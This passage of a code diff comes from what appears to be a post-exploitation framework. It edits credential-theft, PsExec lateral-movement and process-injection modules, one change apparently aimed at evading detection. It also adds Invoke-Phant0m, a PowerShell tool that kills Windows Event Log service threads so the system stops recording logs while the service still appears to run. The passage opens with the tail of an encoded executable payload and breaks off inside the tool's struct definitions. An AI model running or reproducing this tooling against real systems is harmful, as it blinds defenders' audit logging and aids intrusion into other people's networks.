Q1KDUsNTA1NDU4NTw1QDVENUg1UDVwNXQ1eDV8NYA1hDWINYw1kDWUNZg1nDWgNaQ1qDWsNbA1tDW4Nbw1wDXENcg1zDXQNdQ12DXcNeA15DXoNew18DX0Nfg1/DUANgQ2EDYUNhg2UDZUNlg2XDaQNpQ2mDacNqA2pDaoNqw2sDa0Nrg2vDbANsQ2yDbMNtA23DbgNuQ2/DYANww3EDcUNxg3HDcgNyQ3KDcsNzA3NDc4Nzw3QDdEN0g3TDdQN1Q3WDdcN2A3ZDdoN2w3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfQN9w34DfoN+w3+DcEOAg4DDgQOBg4HDggOCg4LDg4ODw4SDhMOFg4XDhgOGg4bDhwOHg4fDiAOIg4jDiYOJw4qDisOLg4vDjIOMw42DjcOOg47Dj4OPw4CDkMORg5HDkgOSg5LDkwOTg5PDmIOYw5kDmUOZg5nDnoOfA59Dn4Ofw5ADoEOgg6DDoQOhQ6GDocOiA6JDooOiw6MDo0Ojg6PDpAOkQ6SDpMOnA6dDp4Onw6gDqEOog6jDqQOpQ6mDqcOqA6pDqoOqw6sDq0Org6vDrAOsg6zDrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7VDtwO3Q7eDuAO4Q7iDuMO6A7pDuwO7w7wDvEO8g7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAg8DDwUPBg8IDwkPCw8MDw4PDw8RDxIPFA8VDxgPGw8cDx8PIg8jDyQPJQ8mDycPKA8pDyoPKw8sDy0PLg8vDzAPMQ8yDzMPNA81DzYPNw84DzkPOg87DzwPPQ8+DwEPRA9FD0YPRw9ID0kPSg9LD0wPTQ9OD08PUA9RD1IPUw9UD1UPVg9XD1gPWQ9aD1sPXA9dD14PXw9gD2EPYg9jD2QPZQ9mD2cPaA9pD2oPaw9sD20Pbg9vD3APcQ9yD3MPdA91D3YPdw94D3kPeg97D3wPfQ9+D38PQA+DD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPog+kD6UPpw+oD6sPsA+xD7IPsw+0D7UPtw+4D7oPuw+9D74PgA/BD8MPxA/GD8cPyg/ND84P0A/RD9MP1A/WD9cP2Q/aD90P3g/fD+AP4Q/iD+MP5A/lD+YP5w/oD+kP6g/rD+wP7Q/uD+8P8A/xD/IP8w/0D/UP9g/3D/gP+Q/6D/sP/A/9D/4P/w/AAAAEAkAnAIAAAAwQDBEMFAwVDBYMFwwYDBkMGgwbDBwMHQweDCEMJAwlDCYMJwwoDCkMKgwrDCwMLQwuDC8MMAwxDDIMMww0DDUMNgw3DDgMOQw6DDsMPAw9DD4MPwwADEEMQgxDDEQMRQxGDEcMSQxMDE0MTgxPDFAMUQxSDFMMVAxVDFYMVwxYDFkMWgxbDFwMXQxeDGEMZAxlDGYMZwxoDGkMagxrDGwMbQxuDG8McAxxDHIMcwx0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyRDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKQMpQynDKgMqwyuDK8MsAyxDLIMswy4DL4MhAzKDMsM0AzRDNYM1wzcDN4M3wziDOMM5AzlDOYM5wztDO4M8Qz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNIg0jDSQNJQ0mDScNKA0pDSsNDA1NDU4NTw1QDVENUg1TDVQNVQ1WDVcNWA1ZDVoNWw1cDV0NXw1gDWENYg1jDXINdA12DXgNfw1ADYENgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN5Q4mDjoOBA9FD0YPRw95D3sPfA9BD4IPgBwDADYAAAAFDcYNyQ3KDc0Nzg3RDdIN1Q3WDdkN2g3dDd4N4Q3iDeUN5g3pDeoN7Q3uDfEN8g31DfYN+Q36Df0N/g3BDgIOBQ4GDgkOCg4NDg4OEQ4SDhUOFg4ZDhoOHQ4eDiEOIg4lDiYOKQ4qDi0OLg42Dj4OBQ5GDk0OTg5VDlYOXg5mDm4OcQ54DkAOiA6QDpgOoA6iDqMOqg6xDrIOug6CDsoO0g7aDuIO6g7yDvoOwg8KDxIPGg8iDyoPMg86DwIPSg9SD1oPYg9pD2oPcQ9yD0AAADADAC0AAAAADEwMUAxUDFgMXAxiDGUMZgxnDG4Mbwx+DEYNyg3LDcwNzQ3ODc8N0A3RDdIN0w3WDdcN2A3ZDdoN2w3cDd0N/g3/DeUOcQ51Dn4OQA6NDo8OnA6eDr4OgA7NDs8O3A7eDusO7Q76DvwOyQ8LDxgPGg8qDywPOQ87DwgPSg9XD1gPWQ9aD1sPXA9eD04PkA+dD58PrA+uD7sPvQ+KD8wP2Q/bD+gP6g/3D/kPwDQDAC8AAAAGDAgMFQwXDCoMLAw6DDwMCQxLDFgMWgxnDGkMdgx4DEQMsgy0DIoM2QzoDPcMxg0WDRgNJQ0nDQMNSA1NDVINVA1hDWMNcA1yDX8NQQ2qDawNuQ27DYgNyg3XDdkN5g3oDf4NzQ4cDisOOw48DgYOVQ5mDnUORA6TDqIOsQ6ADsMO3g7fDuEO7g79DswPGw8qDzkPCg9ZD2gPeA97D0MPhg+SD6EPsA+/D44P3Q/sD/sPwAAAOAMAHwCAAAoMCwwNDBoMJwwoDCoMMgwzDDUMAgxPDFAMUgxeDG0MfAxLDJoMmwydDKoMuQyIDNcM5gz1DMoNCw0NDRoNHA0dDR4NHw0kDSUNJg0nDSgNKQ0qDSsNLw0xDTYNOA09DT8NBA1GDUsNTQ1SDVQNWQ1bDWANYg1nDWkNbg1wDXcNfA19DX4NQw2FDYwNkQ2SDZMNmA2aDZ8NoQ2mDagNrQ2vDbQNtg27Db0Ngg3EDckNyw3QDdIN1w3ZDd4N4A3lDecN7A3uDfMN9Q36DfwNwQ4DDggOCg4PDhEOFg4YDh0OHw4kDiYOKw4tDjIONA45DjsOAA5CDkcOSA5JDk4OTw5QDlUOVg5XDlwOXQ5eDmMOZA5lDmoOaw5sDnEOcg5zDnYOeA56Dn0Ofw5BDoQOhg6IDo8Olg6bDp0OoQ6jDqUOqA6qDqwOrw6xDrMOug78Dv4OwA8EDwUPBw8KDw0PDg8QDxEPEw8UDxYPFw8ZDxoPHA8dDx8PIA8iDyMPJQ8oDysPLA8uDy8PMQ8yDzQPNw84DzoPOw89Dz4PAA9BD0MPRA9GD0cPSQ9KD0wPTQ9PD1APUg9TD1UPWA9ZD1sPXA9eD18PYQ9iD2QPZQ9nD2gPag9rD20Pbg9wD3EPcw90D3YPdw95D3oPfA99D38PQA+CD4MPhQ+GD4gPiw+OD48PkQ+SD5QPlQ+XD5gPmg+bD50Png+gD6EPow+kD6YPpw+pD6oPrA+tD68PsA+yD7MPtQ+2D7gPuQ+7D7wPvg+BD8IPxA/FD8cPyg/ND9AP0w/WD9kP3A/dD98P4A/iD+MP5Q/oD+kP6w/uD/EP8g/0D/YP/g/APAMAEwAAAAAMAQwCDAMMCAwJDAoMCwwMDA0MDgwPDBAMEQwSDBMMFAwVDBYMFwwYDBkMGgwbDB0MHgwfDCAMIQwiDCMMJAwlDAAAAAAAAAAAAAAAAAAAAAAAAA='
27262726 if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
27272727 {
27282728 Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs)
+1
-1
data/module_source/credentials/Invoke-TokenManipulation.ps1 less more
291291 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
292292 # Get a reference to the GetModuleHandle and GetProcAddress methods
293293 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
294 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
294 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
295295 # Get a handle to the module specified
296296 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
297297 $tmpPtr = New-Object IntPtr
+1
-1
data/module_source/lateral_movement/Invoke-PsExec.ps1 less more
157157 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
158158 # Get a reference to the GetModuleHandle and GetProcAddress methods
159159 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
160 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
160 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
161161 # Get a handle to the module specified
162162 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
163163 $tmpPtr = New-Object IntPtr
+5
-3
data/module_source/management/Invoke-PSInject.ps1 less more
482482
483483 Function Get-Win32Constants
484484 {
485 $Win32Constants = New-Object System.Object
485 $Creator = New-Object -ComObject RDS.DataSpace
486 $Win32Constants = $Creator.CreateObject('System.Object','')
486487
487488 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
488489 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
519520
520521 Function Get-Win32Functions
521522 {
522 $Win32Functions = New-Object System.Object
523 $Creator = New-Object -ComObject RDS.DataSpace
524 $Win32Functions = $Creator.CreateObject('System.Object','')
523525
524526 $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
525527 $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
929931 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
930932 # Get a reference to the GetModuleHandle and GetProcAddress methods
931933 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
932 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
934 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
933935 # Get a handle to the module specified
934936 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
935937 $tmpPtr = New-Object IntPtr
+1066
-0
data/module_source/management/Invoke-Phant0m.ps1 less more
0 function Invoke-Phant0m {
1 <#
2 .SYNOPSIS
3 This script walks thread stacks of Event Log Service process (spesific svchost.exe) and identify
4 Event Log Threads to kill Event Log Service Threads. So the system will not be able to collect
5 logs and at the same time the Event Log Service will appear to be running. I have made this script
6 for two reasons. First, This script will help to Red Teams and Penetration Testers. Second, I
7 want to learn Powershell and Low-Level things on Powershell for cyber security field.
8
9 .DESCRIPTION
10 This script using Jesse Davis (https://github.com/secabstraction) Get-ProcessTrace.ps1 scripts as an
11 infrastructure, https://gist.github.com/secabstraction/508bfd6c0c0809e6d657. Thanks to Ibrahim AKGUL
12 (https://twitter.com/Stre4meR) and Onur ALANBEL (https://twitter.com/onuralanbel) for sharing their
13 experiences with me.
14
15 .EXAMPLE
16 The following example show sample output and usage the script. Script traces the threads of Event Log
17 Service process and detect threads. After kill all threads about Event Log Service. Scripts needs
18 Administrator rights on the target system.
19
20 PS C:\> Invoke-Phant0m
21 _ _ ___
22 _ __ | |__ __ _ _ __ | |_ / _ \ _ __ ___
23 | '_ \| '_ \ / _` | '_ \| __| | | | '_ ` _ \
24 | |_) | | | | (_| | | | | |_| |_| | | | | | |
25 | .__/|_| |_|\__,_|_| |_|\__|\___/|_| |_| |_|
26 |_|
27
28
29 [!] I'm here to blur the line between life and death...
30
31 [*] Enumerating threads of PID: 1000...
32 [*] Parsing Event Log Service Threads...
33 [+] Thread 1001 Succesfully Killed!"
34 [+] Thread 1002 Succesfully Killed!"
35 [+] Thread 1003 Succesfully Killed!"
36 [+] Thread 1004 Succesfully Killed!"
37
38 [+] All done, you are ready to go!
39
40 .NOTES
41 Version: 1.0
42 Author : Halil DALABASMAZ (https://github.com/hlldz, https://twitter.com/hlldz)
43
44 #>
45 [CmdLetBinding()]
46 Param(
47 [Parameter(Position = 0, ValueFromPipeline = $true)]
48 [String[]]$ComputerName,
49
50 [Parameter(ParameterSetName = 'Id')]
51 [ValidateNotNullOrEmpty()]
52 [Int]$Id = -1
53 )
54 $EmpireOutput = @()
55 $intro = @'
56
57 _ _ ___
58 _ __ | |__ __ _ _ __ | |_ / _ \ _ __ ___
59 | '_ \| '_ \ / _` | '_ \| __| | | | '_ ` _ \
60 | |_) | | | | (_| | | | | |_| |_| | | | | | |
61 | .__/|_| |_|\__,_|_| |_|\__|\___/|_| |_| |_|
62 |_|
63
64 '@
65
66 Write-Host $intro -ForegroundColor Cyan
67
68 $EmpireOutput += ""
69 $EmpireOutput += "[!] I'm here to blur the line between life and death..."
70 $EmpireOutput += ""
71
72 $ScriptBlock = {
73 Param (
74 [Parameter()]
75 [String]$Name,
76
77 [Parameter()]
78 [Int]$Id
79 )
80 if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
81 Write-Warning "This script should be ran with administrative priviliges."
82 }
83 $Domain = [AppDomain]::CurrentDomain
84 $DynAssembly = New-Object -TypeName System.Reflection.AssemblyName -ArgumentList ('PowerWalker')
85 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
86 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
87 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
88
89 #region STRUCTS
90
91 #region ENUM ProcessorArch
92 $TypeBuilder = $ModuleBuilder.DefineEnum('ProcessorArch', 'Public', [UInt16])
93 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_INTEL', [UInt16] 0)
94 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_MIPS', [UInt16] 0x01)
95 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA', [UInt16] 0x02)
96 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_PPC', [UInt16] 0x03)
97 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_SHX', [UInt16] 0x04)
98 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ARM', [UInt16] 0x05)
99 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_IA64', [UInt16] 0x06)
100 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA64', [UInt16] 0x07)
101 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_AMD64', [UInt16] 0x09)
102 [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_UNKNOWN', [UInt16] 0xFFFF)
103 $Global:ProcessorArch = $TypeBuilder.CreateType()
104 #endregion ENUM ProcessorArch
105
106 #region SYSTEM_INFO
107 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
108 $TypeBuilder = $ModuleBuilder.DefineType('SYSTEM_INFO', $Attributes, [ValueType])
109 [void]$TypeBuilder.DefineField('ProcessorArchitecture', $ProcessorArch, 'Public')
110 [void]$TypeBuilder.DefineField('Reserved', [Int16], 'Public')
111 [void]$TypeBuilder.DefineField('PageSize', [Int32], 'Public')
112 [void]$TypeBuilder.DefineField('MinimumApplicationAddress', [IntPtr], 'Public')
113 [void]$TypeBuilder.DefineField('MaximumApplicationAddress', [IntPtr], 'Public')
114 [void]$TypeBuilder.DefineField('ActiveProcessorMask', [IntPtr], 'Public')
115 [void]$TypeBuilder.DefineField('NumberOfProcessors', [Int32], 'Public')
116 [void]$TypeBuilder.DefineField('ProcessorType', [Int32], 'Public')
117 [void]$TypeBuilder.DefineField('AllocationGranularity', [Int32], 'Public')
118 [void]$TypeBuilder.DefineField('ProcessorLevel', [Int16], 'Public')
119 [void]$TypeBuilder.DefineField('ProcessorRevision', [Int16], 'Public')
120 $Global:SYSTEM_INFO = $TypeBuilder.CreateType()
121 #endregion SYSTEM_INFO
122
123 #region MODULE_INFO
124 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
125 $TypeBuilder = $ModuleBuilder.DefineType('MODULE_INFO', $Attributes, [ValueType], 12)
126 [void]$TypeBuilder.DefineField('lpBaseOfDll', [IntPtr], 'Public')
127 [void]$TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')
128 [void]$TypeBuilder.DefineField('EntryPoint', [IntPtr], 'Public')
129 $Global:MODULE_INFO = $TypeBuilder.CreateType()
130 #endregion MODULE_INFO
131
132 #region KDHELP
133 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
134 $TypeBuilder = $ModuleBuilder.DefineType('KDHELP', $Attributes, [ValueType])
135 [void]$TypeBuilder.DefineField('Thread', [UInt64], 'Public')
136 [void]$TypeBuilder.DefineField('ThCallbackStack', [UInt32], 'Public')
137 [void]$TypeBuilder.DefineField('ThCallbackBStore', [UInt32], 'Public')
138 [void]$TypeBuilder.DefineField('NextCallback', [UInt32], 'Public')
139 [void]$TypeBuilder.DefineField('FramePointer', [UInt32], 'Public')
140 [void]$TypeBuilder.DefineField('KiCallUserMode', [UInt32], 'Public')
141 [void]$TypeBuilder.DefineField('KeUserCallbackDispatcher', [UInt32], 'Public')
142 [void]$TypeBuilder.DefineField('SystemRangeStart', [UInt32], 'Public')
143 [void]$TypeBuilder.DefineField('KiUserExceptionDispatcher', [UInt32], 'Public')
144 [void]$TypeBuilder.DefineField('StackBase', [UInt32], 'Public')
145 [void]$TypeBuilder.DefineField('StackLimit', [UInt32], 'Public')
146 $ReservedField = $TypeBuilder.DefineField('Reserved', [UInt64[]], 'Public')
147 $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
148 $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
149 $AttribBuilder = New-Object -TypeName System.Reflection.Emit.CustomAttributeBuilder -ArgumentList ($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 5))
150 [void]$ReservedField.SetCustomAttribute($AttribBuilder)
151 $KDHELP = $TypeBuilder.CreateType()
152 #endregion KDHELP
153
154 #region ADDRESS64
155 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
156 $TypeBuilder = $ModuleBuilder.DefineType('ADDRESS64', $Attributes, [ValueType])
157 [void]$TypeBuilder.DefineField('Offset', [UInt64], 'Public')
158 [void]$TypeBuilder.DefineField('Segment', [UInt32], 'Public')
159 [void]$TypeBuilder.DefineField('Mode', [UInt32], 'Public')
160 $Global:ADDRESS64 = $TypeBuilder.CreateType()
161 #endregion ADDRESS64
162
163 #region STACKFRAME64
164 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
165 $TypeBuilder = $ModuleBuilder.DefineType('STACKFRAME64', $Attributes, [ValueType])
166 [void]$TypeBuilder.DefineField('AddrPC', $ADDRESS64, 'Public')
167 [void]$TypeBuilder.DefineField('AddrReturn', $ADDRESS64, 'Public')
168 [void]$TypeBuilder.DefineField('AddrFrame', $ADDRESS64, 'Public')
169 [void]$TypeBuilder.DefineField('AddrStack', $ADDRESS64, 'Public')
170 [void]$TypeBuilder.DefineField('AddrBStore', $ADDRESS64, 'Public')
171 [void]$TypeBuilder.DefineField('FuncTableEntry', [IntPtr], 'Public')
172 [void]$TypeBuilder.DefineField('Offset', [UInt64], 'Public')
173 $ParamsField = $TypeBuilder.DefineField('Params', [UInt64[]], 'Public')
174 $AttribBuilder = New-Object -TypeName System.Reflection.Emit.CustomAttributeBuilder -ArgumentList ($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
175 [void]$ParamsField.SetCustomAttribute($AttribBuilder)
176 [void]$TypeBuilder.DefineField('Far', [Bool], 'Public')
177 [void]$TypeBuilder.DefineField('Virtual', [Bool], 'Public')
178 $ReservedField = $TypeBuilder.DefineField('Reserved', [UInt64[]], 'Public')
179 $AttribBuilder = New-Object -TypeName System.Reflection.Emit.CustomAttributeBuilder -ArgumentList ($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 3))
180 [void]$ReservedField.SetCustomAttribute($AttribBuilder)
181 [void]$TypeBuilder.DefineField('KdHelp', $KDHELP, 'Public')
182 $Global:STACKFRAME64 = $TypeBuilder.CreateType()
183 #endregion STACKFRAME64
184
185 #region IMAGEHLP_SYMBOLW64
186 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
187 $TypeBuilder = $ModuleBuilder.DefineType('IMAGEHLP_SYMBOLW64', $Attributes, [ValueType])
188 [void]$TypeBuilder.DefineField('SizeOfStruct', [UInt32], 'Public')
189 [void]$TypeBuilder.DefineField('Address', [UInt64], 'Public')
190 [void]$TypeBuilder.DefineField('Size', [UInt32], 'Public')
191 [void]$TypeBuilder.DefineField('Flags', [UInt32], 'Public')
192 [void]$TypeBuilder.DefineField('MaxNameLength', [UInt32], 'Public')
193 $NameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public')
194 $AttribBuilder = New-Object -TypeName System.Reflection.Emit.CustomAttributeBuilder -ArgumentList ($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 33))
195 [void]$NameField.SetCustomAttribute($AttribBuilder)
196 $Global:IMAGEHLP_SYMBOLW64 = $TypeBuilder.CreateType()
197 #endregion IMAGEHLP_SYMBOLW64
198
199 #region FLOAT128
200 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
201 $TypeBuilder = $ModuleBuilder.DefineType('FLOAT128', $Attributes, [ValueType])
202 [void]$TypeBuilder.DefineField('LowPart', [Int64], 'Public')
203 [void]$TypeBuilder.DefineField('HighPart', [Int64], 'Public')
204 $FLOAT128 = $TypeBuilder.CreateType()
205 #endregion FLOAT128
206
207 #region FLOATING_SAVE_AREA
208 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
209 $TypeBuilder = $ModuleBuilder.DefineType('FLOATING_SAVE_AREA', $Attributes, [ValueType])
210 [void]$TypeBuilder.DefineField('ControlWord', [UInt32], 'Public')
211 [void]$TypeBuilder.DefineField('StatusWord', [UInt32], 'Public')
212 [void]$TypeBuilder.DefineField('TagWord', [UInt32], 'Public')
213 [void]$TypeBuilder.DefineField('ErrorOffset', [UInt32], 'Public')
214 [void]$TypeBuilder.DefineField('ErrorSelector', [UInt32], 'Public')
215 [void]$TypeBuilder.DefineField('DataOffset', [UInt32], 'Public')
216 [void]$TypeBuilder.DefineField('DataSelector', [UInt32], 'Public')
217 $RegisterAreaField = $TypeBuilder.DefineField('RegisterArea', [Byte[]], 'Public')
218 $AttribBuilder = New-Object -TypeName System.Reflection.Emit.CustomAttributeBuilder -ArgumentList ($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 80))
219 [void]$RegisterAreaField.SetCustomAttribute($AttribBuilder)
220 [void]$TypeBuilder.DefineField('Cr0NpxState', [UInt32], 'Public')
221 $FLOATING_SAVE_AREA = $TypeBuilder.CreateType()
222 #endregion FLOATING_SAVE_AREA
223
224 #region X86_CONTEXT
225 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
226 $TypeBuilder = $ModuleBuilder.DefineType('X86_CONTEXT', $Attributes, [ValueType])
227 [void]$TypeBuilder.DefineField('ContextFlags', [UInt32], 'Public')
228 [void]$TypeBuilder.DefineField('Dr0', [UInt32], 'Public')
229 [void]$TypeBuilder.DefineField('Dr1', [UInt32], 'Public')
230 [void]$TypeBuilder.DefineField('Dr2', [UInt32], 'Public')
231 [void]$TypeBuilder.DefineField('Dr3', [UInt32], 'Public')
232 [void]$TypeBuilder.DefineField('Dr6', [UInt32], 'Public')
233 [void]$TypeBuilder.DefineField('Dr7', [UInt32], 'Public')
234 [void]$TypeBuilder.DefineField('FloatSave', $FLOATING_SAVE_AREA, 'Public')
235 [void]$TypeBuilder.DefineField('SegGs', [UInt32], 'Public')
236 [void]$TypeBuilder.DefineField('SegFs', [UInt32], 'Public')
237 [void]$TypeBuilder.DefineField('SegEs', [UInt32], 'Public')
238 [void]$TypeBuilder.DefineField('SegDs', [UInt32], 'Public')
239 [void]$TypeBuilder.DefineField('Edi', [UInt32], 'Public')
240 [void]$TypeBuilder.DefineField('Esi', [UInt32], 'Public')
241 [void]$TypeBuilder.DefineField('Ebx', [UInt32], 'Public')
242 [void]$TypeBuilder.DefineField('Edx', [UInt32], 'Public')
243 [void]$TypeBuilder.DefineField('Ecx', [UInt32], 'Public')
244 [void]$TypeBuilder.DefineField('Eax', [UInt32], 'Public')
245 [void]$TypeBuilder.DefineField('Ebp', [UInt32], 'Public')
246 [void]$TypeBuilder.DefineField('Eip', [UInt32], 'Public')
247 [void]$TypeBuilder.DefineField('SegCs', [UInt32], 'Public')
248 [void]$TypeBuilder.DefineField('EFlags', [UInt32], 'Public')
249 [void]$TypeBuilder.DefineField('Esp', [UInt32], 'Public')
250 [void]$TypeBuilder.DefineField('SegSs', [UInt32], 'Public')
251 $ExtendedRegistersField = $TypeBuilder.DefineField('ExtendedRegisters', [Byte[]], 'Public')
252 $AttribBuilder = New-Object -TypeName System.Reflection.Emit.CustomAttributeBuilder -ArgumentList ($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 512))
253 [void]$ExtendedRegistersField.SetCustomAttribute($AttribBuilder)
254 $Global:X86_CONTEXT = $TypeBuilder.CreateType()
255 #endregion X86_CONTEXT
256
257 #region AMD64_CONTEXT
258 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
259 $TypeBuilder = $ModuleBuilder.DefineType('AMD64_CONTEXT', $Attributes, [ValueType])
260 ($TypeBuilder.DefineField('P1Home', [UInt64], 'Public')).SetOffset(0x0)
261 ($TypeBuilder.DefineField('P2Home', [UInt64], 'Public')).SetOffset(0x8)
262 ($TypeBuilder.DefineField('P3Home', [UInt64], 'Public')).SetOffset(0x10)
263 ($TypeBuilder.DefineField('P4Home', [UInt64], 'Public')).SetOffset(0x18)
264 ($TypeBuilder.DefineField('P5Home', [UInt64], 'Public')).SetOffset(0x20)
265 ($TypeBuilder.DefineField('P6Home', [UInt64], 'Public')).SetOffset(0x28)
266 ($TypeBuilder.DefineField('ContextFlags', [UInt32], 'Public')).SetOffset(0x30)
267 ($TypeBuilder.DefineField('MxCsr', [UInt32], 'Public')).SetOffset(0x34)
268 ($TypeBuilder.DefineField('SegCs', [UInt16], 'Public')).SetOffset(0x38)
269 ($TypeBuilder.DefineField('SegDs', [UInt16], 'Public')).SetOffset(0x3a)
270 ($TypeBuilder.DefineField('SegEs', [UInt16], 'Public')).SetOffset(0x3c)
271 ($TypeBuilder.DefineField('SegFs', [UInt16], 'Public')).SetOffset(0x3e)
272 ($TypeBuilder.DefineField('SegGs', [UInt16], 'Public')).SetOffset(0x40)
273 ($TypeBuilder.DefineField('SegSs', [UInt16], 'Public')).SetOffset(0x42)
274 ($TypeBuilder.DefineField('EFlags', [UInt32], 'Public')).SetOffset(0x44)
275 ($TypeBuilder.DefineField('Dr0', [UInt64], 'Public')).SetOffset(0x48)
276 ($TypeBuilder.DefineField('Dr1', [UInt64], 'Public')).SetOffset(0x50)
277 ($TypeBuilder.DefineField('Dr2', [UInt64], 'Public')).SetOffset(0x58)
278 ($TypeBuilder.DefineField('Dr3', [UInt64], 'Public')).SetOffset(0x60)
279 ($TypeBuilder.DefineField('Dr6', [UInt64], 'Public')).SetOffset(0x68)
280 ($TypeBuilder.DefineField('Dr7', [UInt64], 'Public')).SetOffset(0x70)
281 ($TypeBuilder.DefineField('Rax', [UInt64], 'Public')).SetOffset(0x78)
282 ($TypeBuilder.DefineField('Rcx', [UInt64], 'Public')).SetOffset(0x80)
283 ($TypeBuilder.DefineField('Rdx', [UInt64], 'Public')).SetOffset(0x88)
284 ($TypeBuilder.DefineField('Rbx', [UInt64], 'Public')).SetOffset(0x90)
285 ($TypeBuilder.DefineField('Rsp', [UInt64], 'Public')).SetOffset(0x98)
286 ($TypeBuilder.DefineField('Rbp', [UInt64], 'Public')).SetOffset(0xa0)
287 ($TypeBuilder.DefineField('Rsi', [UInt64], 'Public')).SetOffset(0xa8)
288 ($TypeBuilder.DefineField('Rdi', [UInt64], 'Public')).SetOffset(0xb0)
289 ($TypeBuilder.DefineField('R8', [UInt64], 'Public')).SetOffset(0xa8)
290 ($TypeBuilder.DefineField('R9', [UInt64], 'Public')).SetOffset(0xc0)
291 ($TypeBuilder.DefineField('R10', [UInt64], 'Public')).SetOffset(0xc8)
292 ($TypeBuilder.DefineField('R11', [UInt64], 'Public')).SetOffset(0xd0)
293 ($TypeBuilder.DefineField('R12', [UInt64], 'Public')).SetOffset(0xd8)
